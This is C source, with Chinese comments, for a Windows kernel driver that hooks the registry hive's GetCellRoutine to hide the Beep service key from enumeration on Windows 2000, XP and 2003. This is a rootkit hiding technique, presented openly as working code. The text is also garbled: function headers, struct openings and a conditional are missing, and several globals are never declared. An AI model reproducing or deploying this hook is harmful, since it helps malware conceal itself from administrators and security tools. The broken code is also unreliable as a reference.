#define CM_KEY_INDEX_LEAF 0x696c // il
#define CM_KEY_FAST_LEAF 0x666c // fl
#define CM_KEY_HASH_LEAF 0x686c // hl
#pragma pack(1)
typedef struct _CM_KEY_NODE {
USHORT Signature;
USHORT Flags;
LARGE_INTEGER LastWriteTime;
ULONG Spare; // used to be TitleIndex
HANDLE Parent;
ULONG SubKeyCounts[2]; // Stable and Volatile
HANDLE SubKeyLists[2]; // Stable and Volatile
// ...
} CM_KEY_NODE, *PCM_KEY_NODE;
USHORT Signature;
USHORT Count;
HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;
ULONG Type; // "ky02"
PVOID KeyControlBlock;
PVOID NotifyBlock;
PEPROCESS Process; // the owner process
LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;
ULONG Signature;
PGET_CELL_ROUTINE GetCellRoutine;
// ...
} HHIVE, *PHHIVE;
#pragma pack()
WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;
PCM_KEY_NODE g_LastNode = NULL;
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
NTSTATUS status;
UNICODE_STRING uKeyName;
OBJECT_ATTRIBUTES oa;
HANDLE hKey;
InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwOpenKey(&hKey, KEY_READ, &oa);
if (!NT_SUCCESS(status))
{
DbgPrint("ZwOpenKey Failed: %lx\n", status);
return NULL;
}
}
PVOID GetKeyControlBlock(HANDLE hKey)
{
NTSTATUS status;
PCM_KEY_BODY KeyBody;
PVOID KCB;
status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
if (!NT_SUCCESS(status))
{
DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);
return NULL;
}
KCB = KeyBody->KeyControlBlock;
DbgPrint("KeyControlBlock = %lx\n", KCB);
}
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
// 获取父键的节点
PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
// 获取子键的索引
PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
if (Index->Signature == CM_KEY_INDEX_ROOT)
{
Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
DbgPrint("Index = %lx\n", Index);
}
{
// 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
}
else
{
// 一般叶索引,返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
}
}
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
// 调用原函数
PVOID pRet = g_pGetCellRoutine(Hive, Cell);
if (pRet)
{
// 返回的是需要隐藏的节点
if (pRet == g_HideNode)
{
DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
// 查询、保存并返回其父键的最后一个子键的节点
pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
DbgPrint("g_LastNode = %lx\n", g_LastNode);
// 隐藏的正是最后一个节点,返回空值
if (pRet == g_HideNode) pRet = NULL;
}
// 返回的是先前保存的最后一个节点
else if (pRet == g_LastNode)
{
DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
// 清空保存值,并返回空值
pRet = g_LastNode = NULL;
}
}
return pRet;
}
{
DbgPrint("DriverUnload()\n");
// 解除挂钩
if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
return STATUS_SUCCESS;
}
{
ULONG BuildNumber;
ULONG KeyHiveOffset; // KeyControlBlock->KeyHive
ULONG KeyCellOffset; // KeyControlBlock->KeyCell
HANDLE hKey;
PVOID KCB, Hive;
if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
DbgPrint("BuildNumber = %d\n", BuildNumber);
// Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
switch (BuildNumber)
{
case 2195: // Win2000
KeyHiveOffset = 0xc;
KeyCellOffset = 0x10;
break;
case 2600: // WinXP
case 3790: // Win2003
KeyHiveOffset = 0x10;
KeyCellOffset = 0x14;
break;
default:
return STATUS_NOT_SUPPORTED;
}
hKey = OpenKeyByName(g_HideKeyName);
// 获取该键的KeyControlBlock
KCB = GetKeyControlBlock(hKey);
if (KCB)
{
// 由KCB得到Hive
PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
// GetCellRoutine在KCB中,保存原地址
g_ppGetCellRoutine = &Hive->GetCellRoutine;
g_pGetCellRoutine = Hive->GetCellRoutine;
DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);
// 获取需隐藏的节点并保存
g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
// 挂钩GetCell例程
Hive->GetCellRoutine = MyGetCellRoutine;
}
ZwClose(hKey);
}